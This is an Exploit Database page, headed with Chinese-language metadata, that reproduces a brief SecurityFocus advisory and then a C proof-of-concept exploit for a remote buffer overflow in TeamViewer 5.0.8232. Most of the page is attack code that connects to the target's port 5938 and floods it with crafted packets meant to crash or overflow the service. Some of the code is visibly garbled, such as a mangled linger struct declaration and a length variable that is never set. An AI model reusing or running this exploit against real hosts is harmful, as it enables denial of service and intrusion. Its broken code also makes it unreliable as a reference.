TeamViewer 5.0.8232 – Remote Buffer Overflow

• Exploit Database
• 21 阅读

• 作者： fl0 fl0w
  日期： 2010-05-18
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34002/

• // source: https://www.securityfocus.com/bid/40242/info
  
  TeamViewer is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
  
  An attacker can leverage this issue to execute arbitrary code within the context of the vulnerable application. Failed exploit attempts will result in a denial-of-service condition.
  
  TeamViewer 5.0.8232 is vulnerable; other versions may be affected. 
  
  #include<stdio.h>
  #include<sys/types.h>
  #include<sys/socket.h>
  #include<netinet/in.h>
  #include<unistd.h>
   
  #define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
  #define POCNAME "[*]TeamViewer 5.0.8232 remote BOF poc(0day)"
  #define AUTHOR "[*]fl0 fl0w"
   
   typedef int i32;
   typedef char i8;
   typedef short i16;
   enum {
  True=1,
  False=0,
  Error=-1 
   };
   structlingerling = {1,1};
   i8* host;
   i16 port;
   i32 ver1,ver2,slen;
   void syntax(){
   i8 *help[]={"\t-h hostname",
  "\t-p port(default 5938)",
  };
  i32 i;
  size_t com=sizeof help / sizeof help[0];
  for(i=0;i<com;i++){
   printf("%s\n",help[i]); 
   }
  }
  i32 arguments(i32 argc,i8** argv){
   i32 i;
   argc--;
   for(i=1;i<argc;i++){
  switch(argv[i][1]){
  case'h':
  host=argv[++i];
  break;
  case'p':
  port=atoi(argv[++i]);
  break;
  default:{
  printf("error with argument nr %d:(%s)\n",i,argv[i]);
  return Error;
  exit(0); 
  }
  }
   }
  } 
  i32 main(i32 argc,i8** argv){
  if(argc<2){
   printf("%s\n%s\n",POCNAME,AUTHOR); 
   printf("\tToo few arguments\n syntax is:\n");
   syntax();
   exit(0); 
  }
  arguments(argc,argv);
  i32 sok,i,
  svcon,
  sokaddr;
   
  i8 *sendbytes=ALOC(i8,32768), 
   *recevbytes=ALOC(i8,5548);
  printf("[*]Starting \n \t...\n"); 
  struct sockaddr_in sockaddr_sok;
  sokaddr = sizeof(sockaddr_sok);
  sockaddr_sok.sin_family = AF_INET;
  sockaddr_sok.sin_addr.s_addr = inet_addr(host);
  sockaddr_sok.sin_port = htons(port);
  sok=socket(AF_INET,SOCK_STREAM,0);
  if(sok==-1){
  printf("[*]FAILED SOCKET\n");
  exit(0);
   }
  if(svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr)<0){
   printf("Error with connection\n");
   shutdown(sok,1);
   exit(0);
  }
  if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&ling, sizeof(ling))<0){
   printf("Error setting the socket\n");
  shutdown(sok,1);
  exit(0);
  }
  if(recv(sok,&ver1,1,0)!=1)
   exit(0);
  if(recv(sok, &ver2,1,0)!=1)
   exit(0);
  memset(sendbytes,0,250);
  recv(sok,recevbytes,sizeof(recevbytes),0);
  for(i=0;;i++) {
   if(!(i & 15)) printf("%d\r", i);
  sendbytes[0] = ver1;
  sendbytes[1] = ver2;
  sendbytes[2] = (i & 1) ? 15 : 21;
  *(i16 *)(sendbytes + 3) = slen;
   if(send(sok, sendbytes, 5, 0) != 5) break;
   
   if(slen) { 
   memset(sendbytes, i, slen);
   if(send(sok, sendbytes, slen, 0) != slen) break;
   }
   }
   shutdown(sok,1);
   return 0;
  }